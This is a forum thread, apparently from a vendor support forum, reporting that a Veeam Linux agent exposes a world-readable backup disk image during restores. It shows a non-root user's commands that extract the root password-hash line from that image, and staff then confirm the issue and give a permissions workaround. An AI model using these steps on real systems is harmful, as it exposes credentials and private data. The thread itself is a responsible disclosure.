Security issue with linux Agent (Backup Mount) can be "viewed/read" by any User during the mount

[zercho05]

Issue:

Any user can access any data during a restore activity. ( during Backup mount is available ) /mnt/backup

here is the whole procedure to access data as a non-root-User

Permissions issue:

As a non-root user, I can see when a Veeam restore has been initiated (or if I can simply request it as a user, I also know when a restore is running):

Code: Select all

[black@svtveeamrhel8 ~]$ id
uid=33333(black) gid=33333(black) groups=33333(black) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[black@svtveeamrhel8 ~]$
[black@svtveeamrhel8 ~]$ df -h /mnt/backup/etc/
Filesystem      Size  Used Avail Use% Mounted on
/dev/loop0      5.0G  3.1G  1.9G  63% /mnt/backup
[black@svtveeamrhel8 ~]$

Access to the files in the backup is subject to the normal Unix permissions, so of course this doesn't work here:

Code: Select all

[black@svtveeamrhel8 ~]$ cat /mnt/backup/etc/shadow
cat: /mnt/backup/etc/shadow: Permission denied
[black@svtveeamrhel8 ~]$

But the problem is this:

Veeam provides a virtual mount point via FUSE, in which the corresponding disk images are stored for the individual restore sessions:

Code: Select all

[black@svtveeamrhel8 ~]$ mount |grep veeam
veeamagent on /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0} type fuse.veeamagent (rw,nosuid,nodev,relatime,user_id=0,group_id=989,allow_other)

These are then mounted via the corresponding loopback devices /dev/loop* under /mnt/backup.

Code: Select all

[black@svtveeamrhel8 ~]$ mount |grep /mnt/backup
/dev/loop0 on /mnt/backup type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop1 on /mnt/backup/tmp type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop7 on /mnt/backup/var type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop9 on /mnt/backup/boot type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop2 on /mnt/backup/home type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop3 on /mnt/backup/var/tmp type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop4 on /mnt/backup/opt/iso type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop6 on /mnt/backup/var/log type xfs (rw,relatime,seclabel,nouuid,attr2,inode64,logbufs=8,logbsize=32k,noquota)
/dev/loop8 on /mnt/backup/boot/efi type vfat (rw,relatime,gid=989,fmask=0000,dmask=0000,allow_utime=0022,codepage=437,iocharset=ascii,shortname=mixed,errors=remount-ro)
[black@svtveeamrhel8 ~]$

Then the user can see how /dev/loop0 is configured:

Code: Select all

[black@svtveeamrhel8 ~]$ losetup |grep loop0
/dev/loop0         0      0         0  0 /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}/rootvg-rootlv                              0     512

And here is the problem:

Code: Select all

[black@svtveeamrhel8 ~]$ ls -ald /tmp /tmp/veeamflr /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0} /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}/rootvg-rootlv
drwxrwxrwt. 12 root root        4096 Sep 16 12:50 /tmp
drwxr-xr-x.  3 root veeam         52 Sep 14 09:12 /tmp/veeamflr
drwxr-xr-x.  2 root root           0 Jan  1  1970 /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}
-rw-rw-rw-.  0 root root  5368709120 Sep 14 11:12 /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}/rootvg-rootlv

Every user on the system has full access (presumably write accesses are intercepted at FUSE level) to the virtual disk image and can therefore extract all data there.
For example the entry in /etc/shadow for the user root with the password hash (not the real hash of course)

Code: Select all

[black@svtveeamrhel8 ~]$ strings /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}/rootvg-rootlv |grep root: |head
root:$6$QRF09X12345E7rd4$abhe4dk7kab/b.IczKtc9wraE8Sgj/zkIPXXXXuTEDyBqKoLpwALrbtjln9cZOQWYYYYYYYYYYYYYYYYYYYYk.::0:99999:7:::
#root:          marc

Finally, release the root:

Code: Select all

  %s root:staff /u  Likewise, but also change its group to "staff".
  %s root:staff /u
  %s root:staff /u  Likewise, but also change its group to "staff".
  %s root:ansatte /u  Tilsvarende, men s
ukendt argument til --preserve-root: %s
  %s root:staff /u  Likewise, but also change its group to "staff".
  %s root:teamo /u    Egale, sed anka
[black@svtveeamrhel8 ~]$

With appropriate tools I could of course extract the desired files directly or copy the disk image and edit it later.
The point is: read access to the disk image means full access to the data on it. I could also search there for ssh private keys or something similar.

[HannesK]

Hello,
thanks for reporting the issue. I reproduced what you described and will talk to the security team about that.

I will come back, once I have an answer.

Best regards,
Hannes

[PTide]

Hello,

The development team has been notified, will be fixed soon.

Thanks!

[zercho05]

[black@svtveeamrhel8 ~]$ ls -ald /tmp /tmp/veeamflr /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0} /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}/rootvg-rootlv
drwxrwxrwt. 12 root root 4096 Sep 16 12:50 /tmp
drwxr-xr-x. 3 root veeam 52 Sep 14 09:12 /tmp/veeamflr
drwxr-xr-x. 2 root root 0 Jan 1 1970 /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}
-rw-rw-rw-. 0 root root 5368709120 Sep 14 11:12 /tmp/veeamflr/{3af2e52c-dba0-4e30-b8f3-2bf520472cb0}/rootvg-rootlv


I think only the red marked Permissions need to be changed for the "automatic mount". But lets see what the Developers and Sec Team has to say....

[HannesK]

Hello Stefan,
as my colleague already mentioned... we will fix it. You asked the same question in parallel via forums, your Veeam SE, support and me. The answer is the same in all cases (I just did not repeat it, as it made no sense to me to repeat what Pavel already said )

Thanks again for reporting!

Best regards,
Hannes

[zercho05]

info From Veeam Developement:

There is a /etc/veeam/veeam.ini key in the [general] section of that file.
You need to uncomment (remove hashtag) and modify this parameter:

backupDisksFsMountFolder

They can set it to whatever directory they want and set their own permissions.
For example, create /flr/veeam and set 700 (drwx------) permissions:

Code: Select all

mkdir -p /flr/veeam
chmod 700 /flr

And set the parameter in veeam.ini to /flr/veeam:
backupDisksFsMountFolder = /flr/veeam
Now if you start the FLR process, the content will be mounted under /flr/veeam, and since /flr has 700, nobody will be able to access /flr/veeam except the owner of /flr.

Customer just changed the permission on the default "backupDisksFsMountFolder" as a fix nor now.
Just be aware that everyone on VAL 5.x is still affected by the Security issue during restore operations. Only if you change the file permission on the mount point you are safe (backupDisksFsMountFolder).

THANKS a lot.